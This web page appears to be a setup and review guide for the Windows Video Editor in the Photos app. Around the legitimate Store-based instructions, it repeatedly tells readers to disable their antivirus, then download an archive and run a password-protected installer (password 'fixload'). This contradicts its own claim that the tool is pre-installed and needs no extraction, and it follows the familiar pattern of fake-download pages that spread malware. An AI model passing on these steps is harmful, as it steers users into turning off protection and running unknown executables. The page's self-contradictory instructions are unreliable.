
Windows Video Editor: Step-by-Step Guide
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
Windows Video Editor is a built-in tool for editing videos quickly and simply on Windows systems. This guide will walk you through how to install it, what it does, and how it compares to other editors. You’ll also find my personal experience using it to create projects and some of the pros and cons I’ve run into.
How to Extract/Install
Installation is straightforward: download or update the Photos app from the Microsoft Store. Once installed, launch the app and select “Video Editor” from the top menu. No separate extraction steps are needed.

Possible Errors During Installation
- App not found: Ensure your system is updated to the latest Windows 10 or 11 build.
- Microsoft Store not working: Reset the Store cache with
wsreset.exe
. - Editor crashes: Update graphics drivers and recheck system updates.
How to Verify Successful Installation

Open the Microsoft Photos app and check the top bar for the “Video Editor” tab. Create a new project and confirm that timeline editing and trimming tools load correctly.
What Windows Video Editor Does
This tool allows you to create and edit videos with basic features. Key tasks it handles include:
- Trimming and splitting video clips
- Adding text overlays and titles
- Applying motion effects and filters
- Exporting videos in standard formats
Personal Experience Using Windows Video Editor
I used Windows Video Editor to assemble short clips for a presentation. It was convenient since it came pre-installed and required no setup. Adding titles and trimming clips was intuitive. However, exporting larger projects felt slower than expected.
Pros:
- Free
- Built-in
- Easy to use for beginners
Cons:
- Lacks advanced editing tools
- Limited effects compared to professional editors
Comparison with Alternatives
Software | Pros | Cons |
---|---|---|
Windows Video Editor | Free, pre-installed, easy interface | Basic features only |
Shotcut | Open-source, supports many formats | Steeper learning curve |
Adobe Premiere Pro | Professional-level features | Expensive, heavy system requirements |
DaVinci Resolve | Powerful free version | Complex for casual users |
FAQ
Conclusion
Windows Video Editor is a simple, free solution for quick video projects. It won’t replace professional tools, but for trimming, adding text, or creating short edits, it’s more than enough. If you need advanced effects, alternatives like DaVinci Resolve or Adobe Premiere might suit you better.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.

Step 2: Extract the downloaded archive.

Step 3: Extract the installer archive (Password: fixload
)

Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.